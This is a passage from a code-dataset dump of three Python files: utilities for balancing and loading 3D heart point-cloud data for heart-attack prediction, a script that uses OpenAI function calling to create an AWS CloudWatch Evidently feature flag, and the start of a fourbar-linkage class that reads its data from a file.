0:\n count0 += 1\n else:\n print('Error: label not equal to 0 or 1')\n print('Number in class 0: ', count0)\n print('Number in class 1: ', count1)\n return count0, count1\n\n\ndef pick_one_gender(matrix, labels, ids, args):\n df_disease = datatools.read_metadata_disease2(args.disease_csv, 'eid', gender=args.gender_spec)\n df_healthy = datatools.read_metadata_disease2(args.data_csv, 'case-id', gender=args.gender_spec)\n wanted_list = []\n for i, label in enumerate(labels):\n if label == 0:\n df = df_healthy\n else:\n df = df_disease\n gender_id_list = df['case-id'].values\n if ids[i] in gender_id_list:\n wanted_list.append(i)\n return matrix[wanted_list], labels[wanted_list], ids[wanted_list]\n\n\ndef pick_one_gender_balance(matrix, labels, ids, args):\n \"\"\"\n This function takes in the data matrix and labels. It picks out cases of one specified gender from both the healthy\n and diseased cases. It forced class balance between healthy and diseased cases by picking the smaller number.\n For example, if we have 80 healthy male cases and 70 diseased male cases, the function returns 70 male healthy and\n diseased cases respectively.\n \"\"\"\n\n # Pick out cases with a single specified gender\n df_disease = datatools.read_metadata_disease2(args.disease_csv, 'eid', gender=args.gender_spec)\n df_healthy = datatools.read_metadata_disease2(args.data_csv, 'case-id', gender=args.gender_spec)\n wanted_list = []\n for i, label in enumerate(labels):\n # Pick the right metadata for healthy or diseased cases\n if label == 0:\n df = df_healthy\n else:\n df = df_disease\n gender_id_list = df['case-id'].values\n if ids[i] in gender_id_list:\n wanted_list.append(i)\n count0, count1 = count_0_and_1(labels[wanted_list])\n if count0 > count1:\n del wanted_list[count1:count0]\n elif count1 > count0:\n del wanted_list[2 * count0:(count1 + count0)]\n return matrix[wanted_list], labels[wanted_list], ids[wanted_list]\n\n\ndef read_condition(df, case_id):\n \"\"\"\n This function reads the conditionals from the metadata df based on the case id provided.\n :param df:\n :param case_id:\n :return:\n \"\"\"\n gender_list = df['sex'].values\n temp = df.index[df['case-id'] == case_id].tolist()\n index = temp[0]\n gender = gender_list[index]\n return gender\n\n\ndef concatenate_condition(x, condition):\n \"\"\"\n This function add one more dimension to the point cloud x to make it contain the conditional information.\n For example, if x is 1000x3, new x will be 1000x4 with all elements in the 4th dimension being the condition.\n This function by default assume x has a shape of 3 x number of points and condition is assumed to be an integer.\n :param x:\n :param condition:\n :return:\n \"\"\"\n dim = x.shape\n new_x = np.zeros((4, dim[1]))\n new_x[0:3, :] = x\n new_x[3, :] = condition\n return new_x\n\n\ndef get_data_and_labels(args):\n matrix0, matrix1, id_list0, id_list1 = get_vectors(args)\n label0, label1 = label_data(matrix0, matrix1)\n total_data = np.concatenate((matrix0, matrix1), axis=0)\n total_label = np.concatenate((label0, label1), axis=0)\n total_id = np.concatenate((id_list0, id_list1), axis=0)\n return total_data, total_label, total_id\n\n\ndef get_data_and_labels1(args):\n matrix0, matrix1, id_list0, id_list1 = get_vectors_not_same(args)\n label0, label1 = label_data(matrix0, matrix1)\n total_data = np.concatenate((matrix0, matrix1), axis=0)\n total_label = np.concatenate((label0, label1), axis=0)\n total_id = np.concatenate((id_list0, id_list1), axis=0)\n return total_data, total_label, total_id\n\n\ndef get_data_and_labels2(args):\n matrix0, matrix1, id_list0, id_list1 = get_vectors2(args)\n label0, label1 = label_data(matrix0, matrix1)\n total_data = np.concatenate((matrix0, matrix1), axis=0)\n total_label = np.concatenate((label0, label1), axis=0)\n total_id = np.concatenate((id_list0, id_list1), axis=0)\n return total_data, total_label, total_id\n\n\ndef get_data_and_labels3(args):\n matrix0, matrix1, id_list0, id_list1 = get_vectors3(args)\n label0, label1 = label_data(matrix0, matrix1)\n total_data = np.concatenate((matrix0, matrix1), axis=0)\n total_label = np.concatenate((label0, label1), axis=0)\n total_id = np.concatenate((id_list0, id_list1), axis=0)\n return total_data, total_label, total_id\n\n\ndef get_data_and_labels4(args):\n \"\"\"\n This function reads the data from healthy and diseased directories directly.\n No reading from metadata file is required.\n Positive and negative cases are of different quantity.\n \"\"\"\n matrix0, matrix1, id_list0, id_list1 = get_vectors_not_same2(args)\n label0, label1 = label_data(matrix0, matrix1)\n total_data = np.concatenate((matrix0, matrix1), axis=0)\n total_label = np.concatenate((label0, label1), axis=0)\n total_id = np.concatenate((id_list0, id_list1), axis=0)\n return total_data, total_label, total_id\n\n\ndef get_data_and_labels401(args):\n \"\"\"\n Extension of get_data_and_labels4.\n It forces class balance by removing the excessive healthy data.\n \"\"\"\n matrix0, matrix1, id_list0, id_list1 = get_vectors_not_same2(args)\n matrix0 = np.array(remove_excessive(matrix1, matrix0))\n id_list0 = np.array(remove_excessive(id_list1, id_list0))\n label0, label1 = label_data(matrix0, matrix1)\n total_data = np.concatenate((matrix0, matrix1), axis=0)\n total_label = np.concatenate((label0, label1), axis=0)\n total_id = np.concatenate((id_list0, id_list1), axis=0)\n return total_data, total_label, total_id\n\n\ndef get_data_and_labels41(args):\n \"\"\"\n Extension of get_data_and_labels4.\n It uses concatenated data.\n \"\"\"\n matrix0, matrix1, id_list0, id_list1 = get_vectors_not_same21(args)\n label0, label1 = label_data(matrix0, matrix1)\n total_data = np.concatenate((matrix0, matrix1), axis=0)\n total_label = np.concatenate((label0, label1), axis=0)\n total_id = np.concatenate((id_list0, id_list1), axis=0)\n return total_data, total_label, total_id\n\n\ndef get_data_and_labels42(args):\n \"\"\"\n Extension of get_data_and_labels4.\n It uses concatenated data.\n It removes excessive cases from the major class to ensure class balance.\n Class 1 is assumed to be the minor class.\n \"\"\"\n matrix0, matrix1, id_list0, id_list1 = get_vectors_not_same21(args)\n matrix0 = np.array(remove_excessive(matrix1, matrix0))\n id_list0 = np.array(remove_excessive(id_list1, id_list0))\n label0, label1 = label_data(matrix0, matrix1)\n total_data = np.concatenate((matrix0, matrix1), axis=0)\n total_label = np.concatenate((label0, label1), axis=0)\n total_id = np.concatenate((id_list0, id_list1), axis=0)\n return total_data, total_label, total_id\n\n\ndef get_data_and_labels411(args):\n \"\"\"\n Extension of get_data_and_labels41.\n It moves the extra class 0 data to the end of the overall data matrix.\n \"\"\"\n matrix0, matrix1, id_list0, id_list1 = get_vectors_not_same21(args)\n label0, label1 = label_data(matrix0, matrix1)\n total_data = np.concatenate((matrix0, matrix1), axis=0)\n total_label = np.concatenate((label0, label1), axis=0)\n total_id = np.concatenate((id_list0, id_list1), axis=0)\n n_extra = int(matrix0.shape[0] - matrix1.shape[0])\n return move_to_the_end(total_data, n_extra), move_to_the_end(total_label, n_extra), move_to_the_end(total_id,\n n_extra)\n\n\ndef get_data_and_labels412(args):\n \"\"\"\n Extension of get_data_and_labels411. It does not use concatenated data.\n It moves the extra class 0 data to the end of the overall data matrix.\n \"\"\"\n matrix0, matrix1, id_list0, id_list1 = get_vectors_not_same2(args)\n label0, label1 = label_data(matrix0, matrix1)\n total_data = np.concatenate((matrix0, matrix1), axis=0)\n total_label = np.concatenate((label0, label1), axis=0)\n total_id = np.concatenate((id_list0, id_list1), axis=0)\n n_extra = int(matrix0.shape[0] - matrix1.shape[0])\n return move_to_the_end(total_data, n_extra), move_to_the_end(total_label, n_extra), move_to_the_end(total_id,\n n_extra)\n\n\ndef move_to_the_end(data_matrix, n_extra):\n \"\"\"\n This function moves the extra class 0 data to the end of the entire data matrix.\n So that the training set could be made balanced.\n :param data_matrix:\n :param n_extra:\n :return:\n \"\"\"\n n_total = data_matrix.shape[0]\n n0 = int((n_total + n_extra) / 2)\n n1 = int((n_total - n_extra) / 2)\n matrix0 = data_matrix[:n1]\n matrix1 = data_matrix[n0:]\n matrix_extra = data_matrix[n1:n0]\n return np.concatenate((matrix0, matrix1, matrix_extra))\n\n\ndef remove_excessive(data_small, data_large):\n \"\"\"\n This function removes the excessive data from 'data_large' so that it contains the same number\n of data as 'data_small'\n :param data_small: first dimension has to be the number of data\n :param data_large: the larger dataset to be removed\n :return:\n \"\"\"\n data_large_new = index_list_list(data_large, list(range(data_small.shape[0])))\n return data_large_new\n\n\ndef duplicate_minor_class(matrix0, matrix1, id_list0, id_list1):\n \"\"\"\n This forces matrix0 and matrix1 to have the same number of cases.\n The id lists are modified accordingly.\n :param matrix0:\n :param matrix1:\n :param id_list0:\n :param id_list1:\n :return:\n \"\"\"\n num0 = matrix0.shape[0]\n num1 = matrix1.shape[0]\n num_extra = np.abs(num0 - num1)\n if num0 > num1:\n matrix1, id_list1 = make_large_small_equal(matrix1, id_list1, num_extra)\n elif num0 < num1:\n matrix0, id_list0 = make_large_small_equal(matrix0, id_list0, num_extra)\n return matrix0, matrix1, id_list0, id_list1\n\n\ndef make_large_small_equal(matrix_s, id_list_s, num_extra):\n num_s = matrix_s.shape[0]\n if num_extra <= num_s:\n list_extra = generate_list(0, num_s, num_extra, repeat=False)\n else:\n list_extra = generate_list(0, num_s, num_extra, repeat=True)\n matrix_extra = index_list_list(matrix_s, list_extra)\n id_extra = index_list_list(id_list_s, list_extra)\n matrix_s = np.concatenate((matrix_s, matrix_extra), axis=0)\n id_list_s = np.concatenate((id_list_s, id_extra), axis=0)\n return matrix_s, id_list_s\n\n\ndef generate_list(start, end, num, repeat=True):\n temp_list = range(start, end)\n if repeat:\n return random.choices(temp_list, k=num)\n else:\n return random.sample(temp_list, num)\n\n\ndef get_data_and_labels5(args):\n \"\"\"\n This function is an extended version of get_data_and_labels4().\n But it removes cases whose information is not available in the metadata file.\n \"\"\"\n df = datatools.read_metadata_disease(args.csv_file, 'eid')\n matrix0, matrix1, id_list0, id_list1 = get_vectors_not_same2(args)\n total_id = np.concatenate((id_list0, id_list1), axis=0)\n total_id, final_list = check_missing_meta(df, total_id)\n label0, label1 = label_data(matrix0, matrix1)\n total_data = np.concatenate((matrix0, matrix1), axis=0)\n total_label = np.concatenate((label0, label1), axis=0)\n total_data = index_list_list(total_data, final_list)\n total_label = index_list_list(total_label, final_list)\n return total_data, total_label, total_id\n\n\ndef index_list_list(list_in, index_list):\n \"\"\"\n This function allows one to index a list using a list.\n For example, if we want to pick the 1st, 3rd, 4th element of a list a.\n We use a as list_in and [1, 3, 4] as the index_list.\n :param list_in: List to be indexed\n :param index_list: List of indices\n :return: List made of elements of interests\n \"\"\"\n list_out = [list_in[i] for i in index_list]\n return list_out\n\n\ndef check_missing_meta(df, id_list):\n \"\"\"\n This function reads the metadata file and returns a list of ids whose information is available in the metadata.\n :param df: data frame of the metadata\n :param id_list: list of all ids of the point clouds available.\n :return: an id list that only contain cases appeared in the metadata file.\n \"\"\"\n wanted_list = []\n for i, case_id in enumerate(id_list):\n try:\n temp = read_condition(df, int(id_list[i]))\n wanted_list.append(i)\n except IndexError:\n pass\n id_out = [id_list[i] for i in wanted_list]\n return id_out, wanted_list\n\n\ndef get_vectors(args):\n # If names of the npy files change, indexing of id needs to be changed.\n # Currently the function only works with a format like: latent_space_1002549.npy\n data_dir = args.data_dir\n disease_dir = args.disease_dir\n reduce_size = args.reduce_size\n\n matrix0, id_list0 = readPC2(data_dir, reduce_size)\n matrix1, id_list1 = readPC(disease_dir, reduce_size)\n\n # Shuffle the data of healthy cases and then take the same number as the diseased cases\n i_list = shuffle_matrix(matrix0)\n matrix0 = matrix0[i_list]\n id_list0 = id_list0[i_list]\n dim1 = matrix1.shape\n n_positive = dim1[0]\n n_negative = n_positive * 1 # Tune ratio between positive and negative cases\n matrix0 = matrix0[0:n_negative] # To make diseased cases and healthy cases balance\n id_list0 = id_list0[0:n_negative]\n return matrix0, matrix1, id_list0, id_list1\n\n\ndef get_vectors_not_same(args):\n \"\"\"\n This function reads and stores the point clouds of diseased and healthy cases in the given directories.\n 0 stands for healthy and 1 stands for diseased.\n \"\"\"\n # If names of the npy files change, indexing of id needs to be changed.\n # Currently the function only works with a format like: latent_space_1002549.npy\n data_dir = args.data_dir\n disease_dir = args.disease_dir\n reduce_size = args.reduce_size\n\n # This step chooses cases with 0 disease on record and avoid mismatch between the data in the directory and the\n # metadata.\n matrix0, id_list0 = readPC2(data_dir, reduce_size)\n matrix1, id_list1 = readPC(disease_dir, reduce_size)\n\n i_list = shuffle_matrix(matrix0)\n matrix0 = matrix0[i_list]\n id_list0 = id_list0[i_list]\n return matrix0, matrix1, id_list0, id_list1\n\n\ndef get_vectors_not_same2(args):\n \"\"\"\n This function reads and stores the point clouds of diseased and healthy cases in the given directories.\n 0 stands for healthy and 1 stands for diseased.\n \"\"\"\n # If names of the npy files change, indexing of id needs to be changed.\n # Currently the function only works with a format like: latent_space_1002549.npy\n data_dir = args.data_dir\n disease_dir = args.disease_dir\n reduce_size = args.reduce_size\n\n # This step chooses cases with 0 disease on record and avoid mismatch between the data in the directory and the\n # metadata.\n matrix0, id_list0 = readPC(data_dir, reduce_size)\n matrix1, id_list1 = readPC(disease_dir, reduce_size + 1)\n print(Fore.GREEN + 'Single phase data(ES/ED) are read correctly' + Style.RESET_ALL)\n # i_list = shuffle_matrix(matrix0)\n # matrix0 = matrix0[i_list]\n # id_list0 = id_list0[i_list]\n return matrix0, matrix1, id_list0, id_list1\n\n\ndef get_vectors_not_same21(args):\n \"\"\"\n Extension of get_vectors_not_same2.\n It reads the point clouds of ED and ES respectively and concatenates them to make the overall point clouds.\n \"\"\"\n # If names of the npy files change, indexing of id needs to be changed.\n # Currently the function only works with a format like: latent_space_1002549.npy\n reduce_size = args.reduce_size\n disease_es_dir, disease_ed_dir = get_es_ed_path(args.disease_dir)\n healthy_es_dir, healthy_ed_dir = get_es_ed_path(args.data_dir)\n\n # This step chooses cases with 0 disease on record and avoid mismatch between the data in the directory and the\n # metadata.\n matrix00, id_list0 = readPC(healthy_es_dir, reduce_size)\n matrix01, id_list0 = readPC(healthy_ed_dir, reduce_size)\n matrix10, id_list1 = readPC(disease_es_dir, reduce_size + 1)\n matrix11, id_list1 = readPC(disease_ed_dir, reduce_size + 1)\n matrix0 = np.concatenate((matrix00, matrix01), axis=2)\n matrix1 = np.concatenate((matrix10, matrix11), axis=2)\n print_concatenation_info(matrix00, matrix0)\n print(Fore.GREEN + 'ES and ED point clouds have been successfully concatenated' + Style.RESET_ALL)\n # Below shuffles the healthy data.\n # i_list = shuffle_matrix(matrix0)\n # matrix0 = matrix0[i_list]\n # id_list0 = id_list0[i_list]\n return matrix0, matrix1, id_list0, id_list1\n\n\ndef print_concatenation_info(m_before, m_after):\n shape_b = m_before.shape\n shape_a = m_after.shape\n print(Fore.GREEN + 'Number of points before concatenation: {}'.format(shape_b[2]) + Style.RESET_ALL)\n print(Fore.GREEN + 'Number of points after concatenation: {}'.format(shape_a[2]) + Style.RESET_ALL)\n\n\ndef get_vectors2(args):\n # If names of the npy files change, indexing of id needs to be changed.\n # Currently the function only works with a format like: latent_space_1002549.npy\n data_dir = args.data_dir\n disease_dir = args.disease_dir\n reduce_size = args.reduce_size\n\n matrix0, id_list0 = readPC22(data_dir, reduce_size)\n matrix1, id_list1 = readPC12(disease_dir, reduce_size)\n\n # Shuffle the data of healthy cases and then take the same number as the diseased cases\n i_list = shuffle_matrix(matrix0)\n matrix0 = matrix0[i_list]\n id_list0 = id_list0[i_list]\n # dim1 = matrix1.shape\n # n_positive = dim1[0]\n # n_negative = n_positive*1 # Tune ratio between positive and negative cases\n # matrix0 = matrix0[0:n_negative] # To make diseased cases and healthy cases balance\n # id_list0 = id_list0[0:n_negative]\n return matrix0, matrix1, id_list0, id_list1\n\n\ndef get_vectors3(args):\n # If names of the npy files change, indexing of id needs to be changed.\n # Currently the function only works with a format like: latent_space_1002549.npy\n data_dir = args.data_dir\n disease_dir = args.disease_dir\n reduce_size = args.reduce_size\n\n matrix0, id_list0 = readPC22(data_dir, reduce_size)\n matrix1, id_list1 = readPC12(disease_dir, reduce_size)\n\n # Shuffle the data of healthy cases and then take the same number as the diseased cases\n i_list = shuffle_matrix(matrix0)\n matrix0 = matrix0[i_list]\n id_list0 = id_list0[i_list]\n dim1 = matrix1.shape\n n_positive = dim1[0]\n n_negative = n_positive * 1 # Tune ratio between positive and negative cases\n matrix0 = matrix0[0:n_negative] # To make diseased cases and healthy cases balance\n id_list0 = id_list0[0:n_negative]\n return matrix0, matrix1, id_list0, id_list1\n\n\ndef label_data(matrix0, matrix1):\n shape0 = matrix0.shape\n shape1 = matrix1.shape\n label0 = np.zeros((shape0[0], 1))\n label1 = np.ones((shape1[0], 1))\n return label0, label1\n\n\ndef readPC(file_dir, reduce_size):\n \"\"\"This function takes in a file list and reads off all files in the list. It returns\n a matrix containing all the point clouds\"\"\"\n filelist = glob.glob(file_dir + '/*.npy')\n file_count = 0\n nfiles = len(filelist)\n Case_id = np.zeros((nfiles, 1))\n print('Reading point clouds from directories...')\n for fname in filelist:\n case_id = read_id(fname)\n Case_id[file_count] = int(case_id)\n lat_data = np.load(fname)\n data_in = lat_data[:, 0:3]\n data_in = utils.reduce_pc_size(data_in, reduce_size)\n data_in = np.transpose(data_in)\n if file_count == 0:\n PC_dim = data_in.shape\n n_points = PC_dim[1]\n matrix_out = np.zeros((nfiles, 3, n_points))\n matrix_out[file_count] = data_in\n file_count += 1\n\n if file_count < nfiles:\n # This step is to get rid of the effect of cases that appear in metadata but not in the point cloud directory.\n matrix_out = matrix_out[:file_count]\n Case_id = Case_id[:file_count]\n\n return matrix_out, Case_id\n\n\ndef read_id(file_name):\n \"\"\"\n This function extracts the case id in a file name.\n :param file_name: name of the file in string\n :return: case id of the file in string\n \"\"\"\n case_id = ''\n temp = os.path.normpath(file_name)\n last = os.path.basename(temp)\n for elem in last:\n if elem.isdigit():\n case_id += elem\n return int(case_id)\n\n\ndef readPC12(file_dir, reduce_size):\n \"\"\"This function takes in a file list and reads off all files in the list. It returns\n a matrix containing all the point clouds\"\"\"\n filelist = glob.glob(file_dir + '/*.npy')\n file_count = 0\n nfiles = len(filelist)\n Case_id = np.zeros((nfiles, 1))\n for fname in filelist:\n case_id = int(fname[-11:-4])\n Case_id[file_count] = int(case_id)\n lat_data = np.load(fname)\n data_in = lat_data\n if file_count == 0:\n PC_dim = data_in.shape\n n_points = PC_dim[1]\n matrix_out = np.zeros((nfiles, 3, n_points))\n matrix_out[file_count] = data_in\n file_count += 1\n\n if file_count < nfiles:\n # This step is to get rid of the effect of cases that appear in metadata but not in the point cloud directory.\n matrix_out = matrix_out[:file_count]\n Case_id = Case_id[:file_count]\n\n return matrix_out, Case_id\n\n\ndef readPC2(file_dir, reduce_size):\n \"\"\"\n This function takes in a file list and reads off all files in the list. It returns\n a matrix containing all the point clouds.\n It only reads cases with no disease at all, based on the metadata 'No_MF.csv'\n \"\"\"\n csv_dir = PathString('data/csv/No_MF.csv')\n df_no_MF = pd.read_csv(csv_dir.ab)\n # case_list1 = get_people_with_disease(1, df_no_MF, include=False)\n # case_list2 = get_people_with_disease(2, df_no_MF, include=False)\n # case_list = case_list1 + case_list2\n case_list = get_people_with_disease(0, df_no_MF)\n filelist = glob.glob(file_dir + '/*.npy')\n file_count = 0\n nfiles = len(case_list)\n Case_id = np.zeros((nfiles, 1))\n for fname in filelist:\n case_id = fname[-11:-4]\n if case_id in case_list:\n Case_id[file_count] = int(case_id)\n lat_data = np.load(fname)\n data_in = lat_data[:, 0:3]\n data_in = utils.reduce_pc_size(data_in, reduce_size)\n data_in = np.transpose(data_in)\n if file_count == 0:\n PC_dim = data_in.shape\n n_points = PC_dim[1]\n matrix_out = np.zeros((nfiles, 3, n_points))\n matrix_out[file_count] = data_in\n file_count += 1\n\n if file_count < nfiles:\n # This step is to get rid of the effect of cases that appear in metadata but not in the point cloud directory.\n matrix_out = matrix_out[:file_count]\n Case_id = Case_id[:file_count]\n return matrix_out, Case_id\n\n\ndef readPC22(file_dir, reduce_size):\n \"\"\"\n This function takes in a file list and reads off all files in the list. It returns\n a matrix containing all the point clouds.\n It only reads cases with no disease at all, based on the metadata 'No_MF.csv'\n \"\"\"\n csv_dir = PathString('data/csv/No_MF.csv')\n df_no_MF = pd.read_csv(csv_dir.ab)\n case_list = get_people_with_disease(0, df_no_MF)\n filelist = glob.glob(file_dir + '/*.npy')\n file_count = 0\n nfiles = len(case_list)\n Case_id = np.zeros((nfiles, 1))\n for fname in filelist:\n case_id = fname[-11:-4]\n if case_id in case_list:\n Case_id[file_count] = int(case_id)\n lat_data = np.load(fname)\n data_in = lat_data\n if file_count == 0:\n PC_dim = data_in.shape\n n_points = PC_dim[1]\n matrix_out = np.zeros((nfiles, 3, n_points))\n matrix_out[file_count] = data_in\n file_count += 1\n\n if file_count < nfiles:\n # This step is to get rid of the effect of cases that appear in metadata but not in the point cloud directory.\n matrix_out = matrix_out[:file_count]\n Case_id = Case_id[:file_count]\n return matrix_out, Case_id\n\n\ndef count_nfiles(file_dir):\n initial_count = 0\n for path in os.listdir(file_dir):\n if os.path.isfile(os.path.join(file_dir, path)):\n initial_count += 1\n return initial_count\n\n\ndef shuffle_matrix(data_in):\n \"\"\"\n This function shuffles any arrays along its first dimension. It returns the shuffled index list so that\n any other arrays could be shuffled exactly the same.\n :param data_in:\n :return:\n \"\"\"\n dim = data_in.shape\n i_list = list(range(dim[0]))\n random.shuffle(i_list)\n return i_list\n\n\ndef shuffle_list(data_in):\n \"\"\"\n This function shuffles any arrays along its first dimension. It returns the shuffled index list so that\n any other arrays could be shuffled exactly the same.\n :param data_in:\n :return:\n \"\"\"\n dim = len(data_in)\n i_list = list(range(dim))\n random.shuffle(i_list)\n return i_list\n\n\ndef add_list(a, b):\n \"\"\"\n Add two lists a and b element-wise\n a and b should have the same number of elements\n :param a:\n :param b:\n :return:\n \"\"\"\n c = [x + y for x, y in zip(a, b)]\n\n if len(a) == 0:\n c = b\n elif len(b) == 0:\n c = a\n return c\n\n\ndef divide_list(A, a):\n \"\"\"\n Divide each element in A by a\n :param A:\n :param a:\n :return:\n \"\"\"\n c = [x / a for x in A]\n return c\n\n\nclass PathString(str):\n def __init__(self, path):\n self.value = path\n self.ab = use_root_dir(path)\n\n\ndef get_es_ed_path(data_dir):\n ES_path = data_dir + '/ES'\n ED_path = data_dir + '/ED'\n return ES_path, ED_path\n\n\nif __name__ == '__main__':\n a = np.array([0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1])\n print(move_to_the_end(a, 3))\n # print(a[:3])\n","repo_name":"RiceKooker/3D_heart_model_MI_prediction","sub_path":"utils/dataset_utils.py","file_name":"dataset_utils.py","file_ext":"py","file_size_in_byte":29792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"72056056485","text":"import json\nimport sys\nfrom traceback import format_exc\nfrom typing import Final, Optional\n\nimport openai\nfrom openai import ChatCompletion\nfrom openai.error import InvalidRequestError\n\nfrom function import CreateBooleanFeatureInput, create_evidently_boolean_feature\n\nCHAT_MODEL_GPT35T_0613: Final[str] = \"gpt-3.5-turbo-0613\"\n\n\ndef run_chat(client: ChatCompletion, query: str) -> Optional[str]:\n \"\"\"Run chat with GPT-3-turbo-0613 model to create Evidently Feature.\n\n Args:\n client (ChatCompletion): OpenAI ChatCompletion client.\n query (str): User query.\n\n Returns:\n Optional[str]: Response of create Evidently Feature.\n \"\"\"\n\n try:\n response = client.create(\n model=CHAT_MODEL_GPT35T_0613,\n messages=[{\"role\": \"user\", \"content\": query}],\n functions=[\n {\n \"name\": \"create_evidently_boolean_feature\",\n \"description\": \"Create a new boolean feature in evidently\",\n \"parameters\": {\n \"type\": \"object\",\n \"properties\": {\n \"project_name\": {\n \"type\": \"string\",\n \"description\": \"Project name of CloudWatch Evidently.\",\n },\n \"feature_name\": {\n \"type\": \"string\",\n \"description\": \"Feature name of CloudWatch Evidently.\",\n },\n \"default_value\": {\n \"type\": \"boolean\",\n \"description\": \"Default value of CloudWatch Evidently.\",\n \"default\": False,\n },\n \"override_rules\": {\n \"type\": \"array\",\n \"items\": {\n \"type\": \"array\",\n \"items\": {\n \"type\": \"string\",\n },\n },\n \"description\": \"\"\"Override rules of CloudWatch Evidently.\n This value is list of tuple that has two elements.\n First element is the name of entity,\n second element is the variation 'True' or 'False'.\"\"\",\n \"default\": [],\n },\n },\n \"required\": [\n \"project_name\",\n \"feature_name\",\n \"default_value\",\n \"override_rules\",\n ],\n },\n }\n ],\n function_call=\"auto\",\n )\n except InvalidRequestError as ire:\n print(ire.__repr__())\n return None\n except: # pylint: disable=W0702\n print(format_exc())\n return None\n\n params: CreateBooleanFeatureInput = __generate_calling_function_input(\n response.choices[0][\"message\"]\n )\n if params is None:\n print(\"Failed to create parameters for calling function.\")\n return None\n\n __debug(\"params\", params)\n\n create_res = create_evidently_boolean_feature(params)\n if not create_res:\n print(\"Failed to create a feature.\")\n return None\n\n return f\"\"\"created a feature info\n\n Project: {params.project_name}\n Feature: {params.feature_name}\n\n Check the feature on CloudWatch Evidently using following command:\n\n aws evidently get-feature --project '{params.project_name}' --feature '{params.feature_name}'\n \"\"\"\n\n\ndef __generate_calling_function_input(\n openai_message: dict,\n) -> Optional[CreateBooleanFeatureInput]:\n __debug(\"openai_message\", openai_message)\n\n if openai_message.get(\"function_call\") is None:\n print(\"No function call.\")\n return None\n\n print(f\"function_call: {openai_message['function_call']['name']}\")\n\n args_for_function = json.loads(openai_message[\"function_call\"][\"arguments\"])\n\n override_rules = None\n if args_for_function.get(\"override_rules\"):\n override_rules = [\n tuple(rule) for rule in args_for_function.get(\"override_rules\")\n ]\n\n params = CreateBooleanFeatureInput(\n project_name=str(args_for_function.get(\"project_name\")),\n feature_name=str(args_for_function.get(\"feature_name\")),\n default_value=str(bool(args_for_function.get(\"default_value\"))),\n override_rules=override_rules,\n )\n\n return params\n\n\ndef __debug(name: str, value: any):\n print(f\"-------{name}-------\")\n print(value)\n print(\"--------------------\")\n\n\nif __name__ == \"__main__\":\n message: str = \"\"\n while len(message) == 0:\n message = input(\"What do you want to create a feature? > \")\n\n if len(message) == 0:\n continue\n\n response_message = run_chat(\n client=openai.ChatCompletion,\n query=message,\n )\n\n if response_message is None:\n print(\"Failed to create a feature.\")\n sys.exit(1)\n\n print(\"\\n-------Response-------\")\n print(response_message)\n sys.exit(0)\n","repo_name":"michimani/misc","sub_path":"llm/openai/get-started-to-use-function-calling/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"9638575174","text":"\r\n\r\n# please be kind.......\r\n\r\n\r\nimport numpy as np\r\n\r\nfrom OpenGL.GL import *\r\n\r\nfrom OpenGL_2D_class import gl2DCircle\r\n\r\nfrom copy import deepcopy\r\n\r\nfrom math import *\r\n\r\nfrom scipy.optimize import fsolve\r\n\r\n\r\nclass style:\r\n def __init__(self):\r\n self.name = None\r\n self.rgb = None\r\n self.width = None\r\n\r\n\r\nclass Fourbar:\r\n def __init__(self, ):\r\n self.linestyle = []\r\n self.connections = []\r\n self.payload = []\r\n self.payloadx = []\r\n self.payloady = []\r\n self.positions = []\r\n self.boundary = []\r\n self.window = [] # an empty list of nodes\r\n\r\n self.p0 = None\r\n self.p1 = None\r\n self.p2 = None\r\n\r\n self.a0 = None\r\n self.b0 = None\r\n\r\n self.ha = None\r\n self.ka = None\r\n\r\n self.a0x = None\r\n self.a0y = None\r\n self.b0x = None\r\n self.b0y = None\r\n\r\n self.a1x = None\r\n self.a1y = None\r\n self.b1x = None\r\n self.b1y = None\r\n\r\n self.a2x = None\r\n self.a2y = None\r\n self.b2x = None\r\n self.b2y = None\r\n\r\n self.newx = None\r\n self.newy = None\r\n\r\n self.thetaInitial1 = None\r\n self.thetaEnding1 = None\r\n\r\n self.thetaInitial2 = None\r\n self.thetaEnding2 = None\r\n\r\n self.theta1 = None\r\n self.theta2 = None\r\n self.theta3 = None\r\n self.theta4 = None\r\n\r\n self.l1 = None\r\n self.l2 = None\r\n self.l3 = None\r\n self.l4 = None\r\n\r\n self.dtheta1 = None\r\n self.dtheta2 = None\r\n\r\n self.apath = []\r\n self.bpath = []\r\n\r\n # # data for animation\r\n # self.nframes = 121\r\n # # self.dronepath = np.zeros([self.nframes, 2])\r\n # self.b0 = np.zeros([self.nframes, 2])\r\n # self.a0 = np.zeros([self.nframes, 2])\r\n # # self.theta2 +=self.dtheta1\r\n # # self.CalculateFlightPaths()\r\n\r\n\r\n # Don't change anything in ReadTrussData\r\n def ReadFourBarData(self, data): # reads data from text file\r\n # data is an array of strings, read from a Truss data file\r\n for line in data: # loop over all the lines\r\n cells = line.strip().split(',')\r\n keyword = cells[0].lower()\r\n\r\n if keyword == 'title': self.title = cells[1].replace(\"'\", \"\")\r\n if keyword == 'connections':\r\n for con in cells[1:]:\r\n ans = float(con.replace(\"(\", \"\").replace(\")\", \"\"))\r\n self.connections.append(ans)\r\n\r\n if keyword == 'linestyle':\r\n this_name = [cells[1].replace(\"'\", \"\").replace(\" \", \"\")]\r\n ncells = len(cells)\r\n for cell in cells[2:]:\r\n value = float(cell.replace(\"(\", \"\").replace(\")\", \"\"))\r\n this_name.append(value)\r\n self.linestyle.append(this_name)\r\n\r\n if keyword == 'payload':\r\n this_name = [cells[1].replace(\"'\", \"\").replace(\" \", \"\")]\r\n this_name.append(cells[2].replace(\" \", \"\"))\r\n ncells = len(cells)\r\n for cell in cells[3:]:\r\n value = float(cell.replace(\"(\", \"\").replace(\")\", \"\"))\r\n this_name.append(value)\r\n self.payload.append(this_name)\r\n\r\n if keyword == 'positions':\r\n for pos in cells[1:]:\r\n ans = float(pos.replace(\"(\", \"\").replace(\")\", \"\"))\r\n self.positions.append(ans)\r\n\r\n if keyword == 'boundary':\r\n this_name = [cells[1].replace(\"'\", \"\").replace(\" \", \"\")]\r\n this_name.append(cells[2].replace(\" \", \"\"))\r\n ncells = len(cells)\r\n for cell in cells[3:]:\r\n value = float(cell.replace(\"(\", \"\").replace(\")\", \"\"))\r\n this_name.append(value)\r\n self.boundary.append(this_name)\r\n\r\n if keyword == 'window':\r\n for win in cells[1:]:\r\n ans = float(win.replace(\"(\", 